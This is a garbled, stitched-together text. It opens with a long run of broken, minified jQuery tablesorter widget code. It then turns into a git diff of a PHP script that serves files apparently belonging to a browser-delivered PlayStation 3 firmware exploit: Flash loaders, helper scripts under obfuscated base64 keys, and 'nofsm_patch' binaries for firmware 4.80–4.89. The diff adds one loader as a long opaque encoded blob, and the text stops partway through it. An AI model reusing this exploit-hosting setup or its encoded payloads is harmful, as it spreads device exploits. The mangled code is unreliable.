r,a,s=e.widgetOptions,i=0;if(A.isEmptyObject(s.filter_formatter))t();else{for(a=s.filter_formatterInit.length,r=0;r';for(i=0;i").appendTo(t.$table.children("thead").eq(0)).children("td"),i=0;i").appendTo(a):((d=N.getColumnData(e,r.filter_formatter,i))?(r.filter_formatterCount++,(h=d(a,i))&&0===h.length&&(h=a.children("input")),h&&(0===h.parent().length||h.parent().length&&h.parent()[0]!==a[0])&&a.append(h)):h=A('').appendTo(a),h&&(f=o.data("placeholder")||o.attr("data-placeholder")||r.filter_placeholder.search||"",h.attr("placeholder",f))),h&&(c=(A.isArray(r.filter_cssFilter)?void 0!==r.filter_cssFilter[i]&&r.filter_cssFilter[i]||"":r.filter_cssFilter)||"",h.addClass(b.filter+" "+c),f=(f=(c=r.filter_filterLabel).match(/{{([^}]+?)}}/g))||["{{label}}"],A.each(f,function(e,t){var r=new RegExp(t,"g"),a=o.attr("data-"+t.replace(/{{|}}/g,"")),s=void 0===a?o.text():a;c=c.replace(r,A.trim(s))}),h.attr({"data-column":a.attr("data-column"),"aria-label":c}),l&&(h.attr("placeholder","").addClass(b.filterDisabled)[0].disabled=!0)))},bindSearch:function(s,e,t){if(s=A(s)[0],(e=A(e)).length){var r,i=s.config,o=i.widgetOptions,a=i.namespace+"filter",n=o.filter_$externalFilters;!0!==t&&(r=o.filter_anyColumnSelector+","+o.filter_multipleColumnSelector,o.filter_$anyMatch=e.filter(r),n&&n.length?o.filter_$externalFilters=o.filter_$externalFilters.add(e):o.filter_$externalFilters=e,N.setFilters(s,i.$table.data("lastSearch")||[],!1===t)),r="keypress keyup keydown search change input ".split(" ").join(a+" "),e.attr("data-lastSearchTime",(new Date).getTime()).unbind(r.replace(N.regex.spaces," ")).bind("keydown"+a,function(e){if(e.which===l.escape&&!s.config.widgetOptions.filter_resetOnEsc)return!1}).bind("keyup"+a,function(e){o=s.config.widgetOptions;var t=parseInt(A(this).attr("data-column"),10),r="boolean"==typeof o.filter_liveSearch?o.filter_liveSearch:N.getColumnData(s,o.filter_liveSearch,t);if(void 0===r&&(r=o.filter_liveSearch.fallback||!1),A(this).attr("data-lastSearchTime",(new Date).getTime()),e.which===l.escape)this.value=o.filter_resetOnEsc?"":i.lastSearch[t];else{if(""!==this.value&&("number"==typeof r&&this.value.length=l.left&&e.which<=l.down)))return;if(!1===r&&""!==this.value&&e.which!==l.enter)return}D.searching(s,!0,!0,t)}).bind("search change keypress input blur ".split(" ").join(a+" "),function(e){var t=parseInt(A(this).attr("data-column"),10),r=e.type,a="boolean"==typeof o.filter_liveSearch?o.filter_liveSearch:N.getColumnData(s,o.filter_liveSearch,t);!s.config.widgetOptions.filter_initialized||e.which!==l.enter&&"search"!==r&&"blur"!==r&&("change"!==r&&"input"!==r||!0!==a&&(!0===a||"INPUT"===e.target.nodeName)||this.value===i.lastSearch[t])||(e.preventDefault(),A(this).attr("data-lastSearchTime",(new Date).getTime()),D.searching(s,"keypress"!==r||e.which===l.enter,!0,t))})}},searching:function(e,t,r,a){var s,i=e.config.widgetOptions;void 0===a?s=!1:void 0===(s="boolean"==typeof i.filter_liveSearch?i.filter_liveSearch:N.getColumnData(e,i.filter_liveSearch,a))&&(s=i.filter_liveSearch.fallback||!1),clearTimeout(i.filter_searchTimer),void 0===t||!0===t?i.filter_searchTimer=setTimeout(function(){D.checkFilters(e,t,r)},s?i.filter_searchDelay:10):D.checkFilters(e,t,r)},equalFilters:function(e,t,r){var a,s=[],i=[],o=e.columns+1;for(t=A.isArray(t)?t:[],r=A.isArray(r)?r:[],a=0;a=e.columns&&(n=e.columns-1);o<=n;o++)u[u.length]=o;t=t.replace(s[d],"")}if(!r&&/,/.test(t))for(f=(l=t.split(/\s*,\s*/)).length,c=0;c> Starting filter widget search",r),m=new Date),F.filteredRows=0,t=z||[],c=F.totalRows=0;c> Searching through "+(w&&v> Completed search"+N.benchmark(m)),R.filter_initialized&&(F.$table.triggerHandler("filterBeforeEnd",F),F.$table.triggerHandler("filterEnd",F)),setTimeout(function(){N.applyWidget(F.table)},0)}},getOptionSource:function(e,t,r){var a=(e=A(e)[0]).config,s=!1,i=a.widgetOptions.filter_selectSource,o=a.$table.data("lastSearch")||[],n="function"==typeof i||N.getColumnData(e,i,t);if(r&&""!==o[t]&&(r=!1),!0===n)s=i(e,t,r);else{if(n instanceof A||"string"===A.type(n)&&0<=n.indexOf(""))return n;if(A.isArray(n))s=n;else if("object"===A.type(i)&&n&&null===(s=n(e,t,r)))return null}return!1===s&&(s=D.getOptions(e,t,r)),D.processOptions(e,t,s)},processOptions:function(s,i,r){if(!A.isArray(r))return!1;var o,e,t,a,n,l,c=(s=A(s)[0]).config,d=null!=i&&0<=i&&i'+(p.data("placeholder")||p.attr("data-placeholder")||g.filter_placeholder.select||"")+"",m=u.$table.find("thead").find("select."+b.filter+'[data-column="'+t+'"]').val();if(void 0!==r&&""!==r||null!==(r=D.getOptionSource(e,t,s))){if(A.isArray(r)){for(i=0;i"}else""+f!="[object Object]"&&(0<=(o=n=f=(""+f).replace(H.quote,""")).indexOf(g.filter_selectSourceSeparator)&&(o=(l=n.split(g.filter_selectSourceSeparator))[0],n=l[1]),h+=""!==f?"":"");r=[]}c=(u.$filters?u.$filters:u.$table.children("thead")).find("."+b.filter),g.filter_$externalFilters&&(c=c&&c.length?c.add(g.filter_$externalFilters):g.filter_$externalFilters),(d=c.filter('select[data-column="'+t+'"]')).length&&(d[a?"html":"append"](h),A.isArray(r)||d.append(r).val(m),d.val(m))}}},buildDefault:function(e,t){var r,a,s,i=e.config,o=i.widgetOptions,n=i.columns;for(r=0;r'),x=d.parent().addClass(F.css.stickyHide).css({position:m.length?"absolute":"fixed",padding:parseInt(d.parent().parent().css("padding-left"),10),top:c+w,left:0,visibility:"hidden",zIndex:p.stickyHeaders_zIndex||2}),f=d.children("thead:first"),C="",u=function(e,t){var r,a,s,i,o,n=e.filter(":visible"),l=n.length;for(r=0;rr.top&&l thead:gt(0), tr.sticky-false").hide(),d.find("> tbody, > tfoot").remove(),d.find("caption").toggle(p.stickyHeaders_includeCaption),i=f.children().children(),d.css({height:0,width:0,margin:0}),i.find("."+F.css.resizer).remove(),h.addClass("hasStickyHeaders").bind("pagerComplete"+o,function(){$()}),F.bindEvents(e,f.children().children("."+F.css.header)),p.stickyHeaders_appendTo?S(p.stickyHeaders_appendTo).append(x):h.after(x),r.onRenderHeader)for(a=(s=f.children("tr").children()).length,t=0;t";d("head").append(e)}),f.resizable={init:function(e,t){if(!e.$table.hasClass("hasResizable")){e.$table.addClass("hasResizable");var r,a,s,i,o=e.$table,n=o.parent(),l=parseInt(o.css("margin-top"),10),c=t.resizable_vars={useStorage:f.storage&&!1!==t.resizable,$wrap:n,mouseXPosition:0,$target:null,$next:null,overflow:"auto"===n.css("overflow")||"scroll"===n.css("overflow")||"auto"===n.css("overflow-x")||"scroll"===n.css("overflow-x"),storedSizes:[]};for(f.resizableReset(e.table,!0),c.tableWidth=o.width(),c.fullWidth=Math.abs(n.width()-c.tableWidth)<20,c.useStorage&&c.overflow&&(f.storage(e.table,"tablesorter-table-original-css-width",c.tableWidth),i=f.storage(e.table,"tablesorter-table-resized-width")||"auto",f.resizable.setWidth(o,i,!0)),t.resizable_vars.storedSizes=s=(c.useStorage?f.storage(e.table,f.css.resizableStorage):[])||[],f.resizable.setWidths(e,t,s),f.resizable.updateStoredSizes(e,t),t.$resizable_container=d('
    ').css({top:l}).insertBefore(o),a=0;a').appendTo(t.$resizable_container).attr({"data-column":a,unselectable:"on"}).data("header",r).bind("selectstart",!1);f.resizable.bindings(e,t)}},updateStoredSizes:function(e,t){var r,a,s=e.columns,i=t.resizable_vars;for(i.storedSizes=[],r=0;r> Saving last sort: "+e.sortList+c.benchmark(s))):(i.addClass("hasSaveSort"),n="",c.storage&&(n=d(e),l&&console.log('saveSort >> Last sort loaded: "'+n+'"'+c.benchmark(s)),i.bind("saveSortReset",function(e){e.stopPropagation(),c.storage(t,"tablesorter-savesort","")})),a&&n&&0 array( - 'path' => __DIR__ . '/files/FP9TesterK3.swf', + 'PS3FP9NC.swf' => array( + 'path' => __DIR__ . '/files/PS3FP9NC.swf', 'type' => 'application/x-shockwave-flash', 'kind' => 'flash', + 'filename' => 'PS3FP9NC.swf', ), - 'PS3FP9NC3.swf' => array( - 'path' => __DIR__ . '/files/PS3FP9NC3.swf', + 'PS3Loader.swf' => array( + 'path' => __DIR__ . '/files/PS3Loader.swf', 'type' => 'application/x-shockwave-flash', 'kind' => 'flash', + 'filename' => 'PS3Loader.swf', ), - 'PS3LoaderK3.swf' => array( - 'path' => __DIR__ . '/files/PS3LoaderK3.swf', + 'RFpEOTl4eUNZTGNWL2xtS2lMbjIvdz09' => array( + 'path' => __DIR__ . '/files/FP9Test.swf', 'type' => 'application/x-shockwave-flash', 'kind' => 'flash', + 'filename' => 'FP9Test.swf', ), - 'biginteger.pmin.js' => array( - 'path' => __DIR__ . '/files/biginteger.pmin.js', + 'dENwbEo0TEY0QlVxclEvdk9FWGtWUzByS05FZllRZnFHM0JyWWhSUlF5UT0=' => array( + 'path' => __DIR__ . '/files/xframework.min.js', 'type' => 'application/x-javascript', 'kind' => 'js', + 'filename' => 'xframework.min.js', ), - 'framework.pmin.js' => array( - 'path' => __DIR__ . '/files/framework.pmin.js', + 'V3ZGdS8zOFk5dU5oeldSSkRZVEMxc3hLZW45SGdqc3lPL29XRWNSdnJQaz0=' => array( + 'path' => __DIR__ . '/files/biginteger.min.js', 'type' => 'application/x-javascript', 'kind' => 'js', + 'filename' => 'biginteger.min.js' ), 'nofsm_patch_480.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_480.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_480.bin', ), 'nofsm_patch_481.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_481.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_481.bin', ), 'nofsm_patch_482.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_482.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_482.bin', ), 'nofsm_patch_483.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_483.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_483.bin', ), 'nofsm_patch_484.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_484.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_484.bin', ), 'nofsm_patch_485.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_485.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_485.bin', ), 'nofsm_patch_486.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_486.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_486.bin', ), 'nofsm_patch_487.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_487.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_487.bin', ), 'nofsm_patch_488.bin' => array( 'path' => __DIR__ . '/files/nofsm_patch_488.bin', 'type' => 'application/octet-stream', 'kind' => 'bin', + 'filename' => 'nofsm_patch_488.bin', + ), + 'nofsm_patch_489.bin' => array( + 'path' => __DIR__ . '/files/nofsm_patch_489.bin', + 'type' => 'application/octet-stream', + 'kind' => 'bin', + 'filename' => 'nofsm_patch_489.bin', ) ); @@ -79,7 +103,7 @@ $item = $files[$file]; if(!file_exists($item['path'])) { http_response_code(404); - exit + exit; } header('Content-Type: ' . $item['type']); diff --git a/files/FP9Test.swf b/files/FP9Test.swf new file mode 100644 index 0000000..f77a755 Binary files /dev/null and b/files/FP9Test.swf differ diff --git a/files/FP9TesterK3.swf b/files/FP9TesterK3.swf deleted file mode 100644 index 31f4c22..0000000 Binary files a/files/FP9TesterK3.swf and /dev/null differ diff --git a/files/PS3FP9NC.swf b/files/PS3FP9NC.swf new file mode 100644 index 0000000..efba675 --- /dev/null +++ b/files/PS3FP9NC.swf @@ -0,0 +1 @@ +Nzg4M2ExYzZmMTY2NmE5ZGE0NzE0NDMwODk4MGFlM2RiMDljNGE5ZjNhZWIyMDVlNGM3Mzg1OTFhMDRkNDVlZTYyYjUzZGQxM2JlMGMxZjY4NmQwNzZjZDRmYWQ1N2I1ODk2ZjRjNjhlODk4MGRkMTMyNDliNTExMzc3ZTQzNTljZDM1YTJiYzM5ZmEyNmI2YmFmNzM5NGIyM2Q3NDU4YjhmNjEwMjNjYmZmY2IwNDNjMjJlZDYwYjgwMjYwNDBkNzNjNjIyY2Y1ZTQ3NDgzMzQ0YzdlNjYzMzEwNjQwNWZiOTA2Mjg5MWZhZTZjYzE4NjAzZDhhMjRkYjc5MzM4N2RkZWVmMWY3NmZlOWExMmE2YzVmNjAzZTExY2VhNDBkNDY0MTE5NWE5MWFmNGI3ZmQzNzA4Yjg3NTgzZGRjODQ0YmQ5MDBhNTViMmZkYjMxOTgwN2RhZTBkMzVmNTgyMjhiODYwY2E3ZGJmYTg0MmI5YjQ5YzUxMjBmZWQ3MjQzMTFiZGU1YzE0MWY5ZjI1MGMyMjhlNzdjNzQ3YTdlY2JhMjRlOWM4MTU1YmM5OWRkODYwZDQ5NDYxMmI2ZTBkYTQzNTc1YzBjYTYxZjViNTBlMDRjZWEwOTY1ZWExMzNiM2Q4ZGNmMzBkNDIxNjVhNDAwOTNhNDM4OGQ1ZmMzZDE2ZjYyYmRmNWRlOTM3NGQyMmFhMGM5ZTM4MmIyMWM2OTFlMzIwYzU3NzNiODdmNDI0MjJhOWQ0N2ExMDY4ZjU4ZmU4MGZjZjhhMjY3ZTY0OTAzNmViMmU4YWMxNTgzOWFhYzgzYTQyNzNhZDAwMmRmNjMzYmM0ZDMxYjhiMTBlNGQ1M2NkMTRkNDNiYjYzMjA3YjY2ZjQyNWVhOWQwMGQyMjljMzY3ZWIxODgwMDc5NTY1NGM4OTkzYThjYjQ2MzFhZGIwMDlhZTllOTUwYzI1MGMwNDYxMGZhMzUyNjM1M2JhMzIzNmNjN2YxOTVmYWY1ZGU0NjAxNWZmZjJlMDVlZTQ3N2YwODc5MTQzYjA3ODI2YTM0MzNmNDA5OTdhMDVlNWYyMzdiYmQ2YmJhZDQ0ZDg4YTRiNTMwMWFmZTFjZmYzNTAxNGZiZWFmOGVjZjFlYjE3NWM3OTlmMTQxNTMxNmMyYTEzMjcwY2UyNTYzNjVkMGYzYzhkNWVkOTI2YzhmZGNkNzk5ZjRjODU1OTliYzg1ODQxMGMzMDFkMjcxOTA5ZjMyMTc3YmE0YWFlOTBlNWQ0NWExMzBmNDBlZDAyYmQ0YTg1NTk2NzYxMDY5ZmY1NzhkOTZhODU5MTk4MzYyMGVhY2M4NmE0Y2I4OGFlZDgxMTAzNGIyMTNiYzM0Y2RiYzYxNzQ4ODQ4OGI1Mjg0N2JhOWZmMjA2M2M2MTFiMjA4NGUyOWYwNzI4ZjU5OGMzNWI1MDU5ZjI2NzJhYjZkN2NkN2NjZDM2OGEyM2I5Mzg0ZmY4NGQ0Nzg4Yjg1NGY0NWRmNTA5YjhhNGRiYWE1ZmFjM2E2OTdlMzlkNDA0ZDE1MDRhN2Y5MWZmNWUzYWIwNTc0MWYyMzZhMTVjMTkyNmU0MzRkNjkzYzJjYTUwOWFiNDIwNThjNmY0NzM5N2RkNTZjNmIyYzkzZDJjNzczMDJkYjdiNGE0YTE4MzA0ZDYyNzA2Y2UyOGFjYjUwZTZjOTZmYjg3MDZmMWZkMTQ4OGViM2IyNjQ5MjYwYjY5MTE0MWRjZDdlYmNlZjA5NGI2ZGQ2ZTM0YmY5MWQ2NmYxMTBkY2Q2ZjlkYTEyNGQ4ZTc2MzUyM2FmNzQ2OGQ5MDE3ZjU5OGY4ZTRlYzlkMTVlZjhkZDAyNzc0YTM1OGE0NGVmYTUyN2E2ZTM4ODUxMGE2M2YyZDc3YzVjYzY1YmVkNGU4ODI3NDRlNTVjODg1NGE5ZTE0ZTJkMDk1Y2NhY2VlMzcxNjc2YTBkNzZkMzEwMjM4ZmRlYWQ4Mzc1MzM2YmVmMjNjYjYzOTA4ZGM5Yjg0ODEzZjBjNWVjNTUzNjQ3NTBhZDFkYzNlNGY4MDE5ZTYyZDMzYTM0MzhkOWI1YzkwZTQ3MjJlYzc5MjU4YWM3NDFlMWMxMDBjYjc3MjlkOGNjZTA5Y2JlNmVkNmFjZDY1MmYwZjVhYTBiNjYyNzY3MDY1MTAwOWEyNDcyMjJkMGUzZjY1NjMwOGNkMmI3NDcyNTJmMDVkMDBmNzM3ZGQ4MWY5OTY5NTA0MzI5MzUzMzBlNjAzYmMyNGVlYzE2OTcxN2ZlNTU1YWUyMGQyODU3YzcxMjNkMzY1OWQwMGFlZTk5ZGRhMDcwN2U3OGZkOTc0OTM0NGU4N2FiMjBlOGY3YTEyYmM1ZDQ5NTkwMmM1NTQzM2NmM2UwNWY2OGU3ZTNiYzY1YTMxMzNhNmI2YmZmYjdkNDVmN2M1NzFhOTk1NzJiZTE2OGRhNDEwNWE3MDE0ODY4NWI1OTY1MWU5ZmFlZDg5ZmE2ZTEyY2MyZWFkMTZjNmM0MGJlN2JkZjhkNWQ0NDU2NzZjYmY4YjA3OTc5ZmQzMmZiOGUyZWNlZmU5N2EwYWQ5M2Q4ZjcwNGJiMDYyM2NlYTYxM2E1ZmJiYTQwYThhNzEyZGMzMWE2YzQ2OTJhYWIwODA3NDkyZTI5ZjFjZTZlNTAyMzJhY2EyMGIzOTk3ZGEyMDE0YjU3MWIzNWJhMjdlYzE1ZTI5NzM5MmUyNDZiYWE0YzI1YjRhODUzY2UwM2UzNzU5OTNlZmE3NTA1NjYwMzM0Y2YzN2E0YTk5MDBiMGNiYmIzYWYxYTliY2M1OGJiZDUxYmI5NzExN2FmZTBjOTg2NjY2MmU4YTk2ZmJiZjAzN2UxMzg3YzY2Zjg3NzRlMTg1NDEyYmVkZDIyODU3MWY0MzIyNGQ4NDcyYmQ5ZmMwZGUxY2Y0YzA1MDBhYjU0N2VkMDY1ZTRhNTViZTlmMTFkNzYyNWEwM2EyYWQxMDA5NWViMTA3NWE1ZGYxMWRjMmQyNTBjZGU5YjA4ZWJiNzlhNTFiOWNiMGEwMDZiMmY3ZDA2MDdhNWNmOGNkOTU1ZGZlZDA4NzdhNjM3ZjNiNDcwNDZlMTA5Zjg3YTBhNTI1MTNlYmRiODg3MmZjZGI5ZmU5OTY3YjFjODI4YmExZGI1ODFhOTQ3NGFkMTc3NzZiYmU5MDExNGRhZTgyMzdmMmZmNmE0MzdiYTYxZDQxZDBmYzAyMzM1MTIzNTIyMzM5OGE1NTAxZjdmZTdkNjhjYzI3YWQ1ZmY2OTU0MjJkZjlkMGMzYjgzZjFmMTYwZWEyZmMxZDczYjk2MjAxODIxYzE3OTMxMjU3ZjRiNjFlOWY1OThlMjM5YWExY2UxNTRmNWIzMzNlMjhhYzI3NmMzMTkxNGQ5OGIxNjAyZGI5YzY2NjBjYjk1ZGU4ZThjNDhmNmUyOWIwZjRkZWI1NDVlNjM0NmE4ZmU5MGNiOWMyOTdiOWVkOGRlMThlN2U2ZTJlNWU0YzhlYWM3ZGUzMGM0NGRiYjIyNDNjZDJhZGFlMmNmOTFlNjlkZDQxYmQ4YzA3M2JhYjg3ZjM0NTYzZTg1YWQwODdkMWM4YjZmMGI5OWE0OTVhN2U2MzQ0NGMzOWUzOTQyMDQ3NTYwYzc2OTQ0OWU2Y2RlODE0OGUxOTQxNGQyNmE2M2NlZWIyNmFkMjY2NjQ0YjExYmJhMTk4M2Y4YWY4N2MxNDg5ZjVjOTdkM2Q5YTFmZGJhZGZhNmRkOGM0Njg4ZDcxMWNkNzg1NDNlMzMyOGFhMjRjOThhZjY3MjhjYWZjNGM3OWYzNGMzNDljMGRjNWI1MDBjMTEzZjU1NmIzMGFkOTk3MjA1YzQ2ZDlmOWNhZjIyYWIzMTMxNjY2ZmE4NWVhOTYwZjMzMWVjOGI0YmZiZWRlY2FkNDk5NjczYTUzOTU1YzAzZGEwMTZhMTFiM2JiNjY4NmM5ZjZhZGFkYzA5YjA3OTAwMzg5MzM5OTJjOTAwNmFmNjhlNjFmYzMyODE2NmYxMDMxNDM1MTZlZWQxYjVmZTE0ODc5ODA2YWIzMTVlYTRjMmJiYTFhZTgxYTQ2NTdjYThiM2Q1MmVmNmE2MDJlZGM1NWY2MjQ5NDFkMzRkZjRmY2FjNGQzNWMyZTMzYmE1ZGIxODYwYTFjNjY4MTIxZDQyNzY1YWI1YTk3ZGUzZGJjODZhNGI5Y2U3OTliMzRjZTQ2YzJhZGYwMjRkNDliMjUwZmIxMWM1MTc0NGQzNDg1OTAwZmUxODQyMTg0YjY0ZDVlYjNhOTk3ZmY0OGExMDQ2NWFjNDI0YWI3MzFiMTc0MzcyZjQ0MmJlNGI2MzM4ZDhiNzg0YzMxZTZiNzQwYWVmZjc2ODk2YWYzMjIwYjM2MjY4Yjc0MzZmZGMwZTMzMWY1ODdlYzFiYzdiYWVlYzlkMTQyYWQ0OGRiOTVjNThkMDMxYWExYjBhMTA4NjYxN2QzNmRmYWIxZjRjMDUwNDFkNDY4ZmVkOTA2NWExODM1OTM2NDRiYjc4MTY0NmMxMmJjNDZmMmJiOGVlZWNhZDhjMzE5NmIwODBlNTUzNGNkMzM1NTVkYjNkNzkyNGFhYjg0ZDMzMDg0MzExODRlMzFmN2FjZjM2M2M0MWM0MjMxZDUyYTZiZmM3YWE1YTZjMTIyNTUyNjkwMDc1Yzk5N2Q2YTdjYmNjYjQyYzRlMzUzN2FmZjk3OGVjODMxY2Q5NzRhNDAzOTRlNDk0NDVmMWY4MTdlZGVkYTlmYTVlNDUzZTg3Nzg3MmZhYmQ5ZWRiMWMxMmNhMTk1YjA0MzExY2FjYjM5OWIzYTk1YWU3ZTZlNmE2NjNjMGM3ZDNkNzU4NDA1NDhhMDUxNWQ2NDU4ZGEyZDY1YzEzZmMyNDJkN2Y4Y2IzYTdjMzViYzVkZjcyMzliM2EyYzIwZDc4ZDgyMTQ5NjA2MDY3NzliNjg5MmNhM2UwYTJkNjcyYTBhYWU2ZDdkM2Y5MzI0NGZlNDg2ZThlM2E1MjYyMzUzM2NiOWExNmM4YmYwMDZlZGM0ZWE0Y2UyMmQzZjk3MDA5ODdjZTg0OTNkNTlkYzc4MGUwNzFjNGE0ZDUwMTIwYzdhMjVlYzZhNmMyMGIwN2ZhYWRkOGNiNWM3NWFkNzQxN2Q2YzU4ZGM2NzgyMThkZGFkNWY0Yjg5MTQyNzIzNTAwYTg5MjQ5MDM1MzhmZTUwYzU4ODAwMTI3NWRjMjhhZDhjMGMzYWVjMzBmYmIxYTBkYmM5MTViMTNkZDgzM2I5MDFhMDM3YjM3NGU0MTBkOTM0ZDUzYTEyZTNhMjM3OTk3YTNjNDRhMTlhMDM4NmQ1NDQ3NGMyNGY5NDFkOTBhZDdjYWU5ODM5OThlMjc2NGEyMmNjZDNkOTcxMWI4Y2YxNjBkNTJlOTYxNzViOTJlNTllNGVlMGVjNDE2OGI2NWI2NzJjZmNlNzIwOTZmZWE5NjZkYzRlNTk1ZTFmYzQ2YjA0ZmRjOGJhMzNiMjgyMzYwYjcxNzA3ZmIzMDEzNzQ4ODAyZDk3YjdmZDI4OGE4MWEyNjE4YWEwMTUzYzNiMTE1MzI1Y2UwYTdkMWU5YWIxMTQzOTcxMTdkNjNiMWM1ZWQ0MDBmZGQ4NGY0ZTI2YzQ0MTA5NzYxMWFlMWI0ZDdlMTkzYWQ4ZmJlMThjYjI4NWRjN2Y0YTM3NDEzNWY5MDdhNTY2MjJkNDE5NzAyNWZkYTFmOWMwOGJlY2FmOGE0ZGE3OGJkOTcxOWNkYzM0NWE5NWE5MmYyZjE2NzNjYTU1NmJmN2IzODUzOGRhODhjMTQyMjUzYzRiMmMyYzcyZjZmZGI2NDFhOWI3ZjBlN2ZkZTJjZmY2MzE4NmE3MzZhOWVlOGM2OTE5N2U0ZTcyYjViMTQzZjE4OGQ4OTBkM2ZiY2E2NGE0MjBkZTc0MmM1OGY5NWI0YTU0YzI5ZjYxMTA0N2NkYjZjMDlkNTNjY2MzYzAxMDg4ZmYzYzRmNjZiOTY2MzVhN2MzNmMyZTEwZmVmN2MyYmUxNGRjYjRjZWZmNTIxMmI2MzE5MWE1ZDQwZDUxODc4MWFhNjNjOGVkNjU2YTBlNDEwNzNjZTRjZTY2NTZjZWFkYTk2YTY0YTE2NjAyZDVlNTdmMmUyZTBhYWIwZGZkOTNjZGY3Y2U3YmU2ZTI1NGY2ZDI0NGU4MDA2ZDcxYTVhMGRmMDhkYmEzMjUwNzEwNjBjMTY4NjJlNDQ2YTIzNmI4NDRjZjA1ZmE2Nzc4ZTI0ZDRiODkyZGMzZjU3Njc0YjdjZmJkODZiYzUxMGIzNGUyMTI3N2Y3NjVmODAxOWJlMDc5OTNmNzNmYjdiY2YzM2I3MDM5NzQyMTRiZjk4ZjRmOWQyMDlmYWE3M2M4YmE2NjVhMjFiZmY4MGQ2NmRiY2Y3NWIzZjI2ZTIwYWY1YmFiMTcxNDcyYjU1OGViYjAyMGJjZmU1OTJmMzk4ODRmYTkzN2I3N2ZlOGQ2Mjg4NGM1Y2UzMTk3MGJiNjg1MGY0MWE4ZWE3ZDJkYjBiNzlmYzY5MjQzN2YyMjg2NWNmYzZjNWM0MWViOTJlODM5ZmJhMzcwMzQyNjA4YjU1YTRmY2U3ZmIzZDE5NjI1NWZjODI4MjBjODEzNmJkMWE1ZTdjZDU5NzZmMGVmYTkwNDRlM2FhNDJjYjcxMjY5MWNmNTVlYTg1MjM3NzI3YjQxNzI5OGM2YzUyOGJiMDc4ZDM3YmJkNjk1MzAyNmQwYWQ3OTAyOWJjYTkyMThjZTYxYTFhZDQ1ZDMyNzVmOTEwMzNkODE4NmMxZjEzNjg2NmZlMWQ4Njk3ZDJmYjA1ZWZjMzFjODllOWQ1OTZiOTVhZjcxNDU0ODU5YWRmZjE4YjZkOWNmODU0YjFjNGUyMTllOGExZWJjMDg5MTQ3NDU3MTI4MTgxNTM3NDY3NmQ0ZWFhODAyODJiNTA0YjYzM2FkY2I1ZjY4YzYwYjViYTM4ODViYzU1ODdlMmNjYjMxNDg2MjM5MGQ2ZWJmNjMyOGI1NzI4MzM2NjdlYWJjNTQyOWVlOThlY2NjNTFlZTkwZmJiY2M1ZWY2MTNlZDhlYTgyZjQwZGUwYjQyNWJkMzk5MDJlNWU0NGQ2Nzg2ZDkzOTk5ZmY5NjFlYjIyNWVlNzI5Yzc1NjkwOWE2NTM1MWZkZjk5MjY4MTMyOTg2ZjEwODEwNDRiMzM1ZGIzOTdlODJiNmZlMzQ5ZjM5ZTliNGMwZTUwN2EzMzQ1NjVmMjA1YTA1ODllNWQwZDVkN2JhYTUwMWQ2ZWI4MDI5ZDRhMWIwNTg3YTcwY2UzZTdlOGM5M2Y2MTNmNTQ5YjgwMTFlMGE2ZGNhNzI1YWUzYzkxNjA1ZWQ5N2UwYjZiMDBiYmQwMDczYzY0ZjdlMmM4ZjVjMDMyNzkxMmUwN2U2M2MwY2MxY2EyODYzZGUzNDBjYjI4MjIwODlkYzIxODliNjI0MGZjNjIyN2E1ZjdlMTQ3OGQ0YmZkMjRhZTkyNzBmYjQzOTg3MWUyY2I1NzMzNDAzMDAxNmRhN2I3OTY5NzYyMzRmMjNjMjYwYWQ4ZmY3NTBiNjIxN2JiYWJiOWQ2ZGI4YzMwNzAwN2RmMTZhMmE4NWU1ZWEyODkzNjFlNzAyYjA0N2U0Njc3NGNkMmIyNGM5MmMyMWNiNTJjOTM3NzM4NmQ4MjVkYzgzOWQwNTUwOWZhNDY5Yzg0YjFhOWE2OTcyZTAwY2EzOTk1ODU1NzEzODg5MjRjODFmYmRiNDNmZjhlMDMxOWU1ODFmOTQ1YjRkNTYyOWUzOGUzM2QxZDgzYjEwZmE1N2E0ZjdkNzg2NjIzOTY2YjRjOTE1NmIzOGI2NDFkZjkxYWNjZjA2NjFiZDBlZDU3YjU4NTAxZjQ5MTE0MzM1NjY4YjA3OWE4YmI3NmU4OTcyYWRiNGEyMmU3ZDRmOTIwOTdlMjRkNDJlYzlhMjgzZTc3NmY5ZWY2OWNjZWRlYjhkYjYxZjYxNjQxYzc4MWQ4NDg5NzUzOTc2NGUwYzgxODQ3ZDhmZTdhMGRlZDEzMDA0YjllYjlkMDYyYThhZWVhYWVkOTc5NWUyZmQ3Y2QwMDEyMmUxYjI3ZThkMzNiMWM2MDQzMGY3MzU4Nzc4MGFiMzI4ODg1NGUxMzE4YjdmNDA3MjAyYmI2MjczMTg1MDUyYmNlOGUyNmFlOWE4YjljMjkyM2EwY2U4MjVjODZlNWQwZjQ1MzFmOTk5NzI0YTExY2U4NDNjYjczNmZiZTIyMTFhZmNmZTI3MmNiNjZjZmNmYzE1ZDZkYWVkZGJkYTI0YjdkMzlkODAzOWQ4YjNiNzFlODcwN2U2YWZkOTRhOTUzMTVmZDdjYjNlOTZmNDAyZGUzM2RhN2YwYzhmOGIyYzE3MDhmZGI4MjQyOGU1ZTEzZWJhMDY4MWRkOGNiMGNhNjJlZTJmMjk2MjA3NzY3M2I5NDBjNzVmYWI3MTI4YTAwMThiZDczZjhmNzg0NjU5NDdhNjJjYWU3NWU5ZWMyOTZiM2MxOWFmN2Q2MmU3NmUzY2ZjMGY3OTlkMDk4NmEwMmQ4ODcyZTBmOTQ4NTUxODg4NzVkNTY0N2RkMWE0ZDlhYTA3MWYwMjM2OTE1ZmY0YjYwMjVjY2NlZGU1M2Y2MzdhYzdhODYxYzE4OTJiYzQ2NDg3M2RhNTY3NWJkOGN